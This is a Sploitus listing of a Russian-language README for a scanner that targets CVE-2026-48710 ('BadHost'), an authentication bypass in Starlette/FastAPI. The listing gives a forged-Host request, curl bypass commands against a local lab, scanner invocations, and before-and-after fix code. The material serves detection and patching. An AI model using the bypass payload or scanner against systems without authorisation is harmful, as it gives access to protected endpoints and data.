Sploitus

BadHost-CVE-2026-48710-Exploit

kitploit · 2026-08-24

Exploit Code

MARKDOWN148 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BHANUNAMIKAZE-BADHOST-CVE-2026-48710-EXPLOIT
# BadHost — CVE-2026-48710 Сканер

Сканер только для обнаружения обхода аутентификации **BadHost** в Starlette / FastAPI — где промежуточное ПО аутентификации читает `request.url.path` вместо `request.scope["path"]`, что позволяет с помощью поддельного заголовка `Host` протащить разрешённый путь и обойти аутентификацию.

root@kitploit:~
    
    
    GET /admin HTTP/1.1
    Host: api.internal/health?__badhost=
    # Starlette видит request.url.path == "/health" → разрешено
    # ASGI всё равно направляет на /admin → обход
    

**Затронуты:** Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x  
**Исправлено в:** Starlette 0.46.2+

* * *

## Возможности

  * Передайте полный URL (`https://host/path`) — путь извлекается автоматически как зонд
  * Загружает конечные точки из спецификации FastAPI/OpenAPI JSON или YAML (файл или URL)
  * Автоматически обнаруживает неаутентифицированные пути для использования в качестве кандидатов для внедрения
  * Тестирует оба заголовка: `Host` и `X-Forwarded-Host`, две стратегии полезной нагрузки
  * Встроенные пресеты для AI/LLM (`--preset ai`) и MCP (`--preset mcp`) конечных точек
  * Вывод: текстовый сводка, `--json`, `--csv`
  * Живой прогресс сканирования в stderr; нулевые сторонние зависимости



* * *

## Локальная уязвимая лаборатория (`badhost_vuln_lab/`)

Поставляется с двумя FastAPI приложениями для локальной проверки:

Приложение| URL| Чтение аутентификации  
---|---|---  
Уязвимое| `http://127.0.0.1:8000`| `request.url.path` — обойдено  
Исправленное| `http://127.0.0.1:8001`| `request.scope["path"]` — безопасно  
  
root@kitploit:~
    
    
    cd badhost_vuln_lab
    docker compose up --build
    

Или без Docker:

root@kitploit:~
    
    
    pip install -r badhost_vuln_lab/requirements.txt
    uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
    uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
    

### Ручной тест обхода

root@kitploit:~
    
    
    curl -i http://127.0.0.1:8000/admin                               # 403
    curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — обход
    curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — исправлено
    

* * *

## Установка

root@kitploit:~
    
    
    git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
    cd BadHost-CVE-2026-48710-Exploit
    python badhost_openapi_scanner.py --help   # Python 3.9+, pip install не требуется
    

* * *

## Использование

root@kitploit:~
    
    
    # Single full URL — path extracted automatically, no extra flags needed
    python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
    
    # Multiple full URLs
    python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
    
    # Add extra paths on top of a full URL
    python badhost_openapi_scanner.py https://api.internal/checkout \
      --protected POST:/api/checkout --protected GET:/api/cart
    
    # Read-only scan from local openapi.json
    python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
    
    # Include write methods (staging/authorized only)
    python badhost_openapi_scanner.py http://api.internal:8000 \
      --openapi ./openapi.json --openapi-methods all \
      --unsafe-allow-write --openapi-body-mode invalid
    
    # Fetch OpenAPI directly from the target
    python badhost_openapi_scanner.py http://api.internal:8000 \
      --openapi http://api.internal:8000/openapi.json
    
    # Multiple targets, CSV output
    python badhost_openapi_scanner.py --targets-file targets.txt \
      --openapi ./openapi.json --csv > results.csv
    
    # AI/LLM + MCP preset paths (no OpenAPI needed)
    python badhost_openapi_scanner.py http://api.internal:8000 --preset all
    

> `--openapi-body-mode invalid` отправляет `{}` для методов записи — вызывает FastAPI `422` после обхода аутентификации без выполнения конечной точки. Результат `baseline=403 test=422` по-прежнему является **ПОДОЗРИТЕЛЬНЫМ** (SUSPECT) и стоит расследования.  
>  Не используйте `--openapi-body-mode minimal` на продакшене — он создаёт корректные тела запросов, которые могут выполнять конечные точки записи.

* * *

## Вердикты

В выводе появляются только CONFIRMED и SUSPECT. Код выхода `2` = CONFIRMED, `1` = SUSPECT, `0` = чисто.

* * *

## Исправление

root@kitploit:~
    
    
    # Уязвимо
    if request.url.path.startswith("/public"):
        ...
    
    # Исправлено
    if request.scope["path"].startswith("/public"):
        ...
    

Обновитесь до **Starlette 0.46.2+** / **FastAPI 0.116.0+**.

* * *

**Только для авторизованного тестирования. Сканируйте только те системы, которыми вы владеете или на тестирование которых получили явное разрешение.**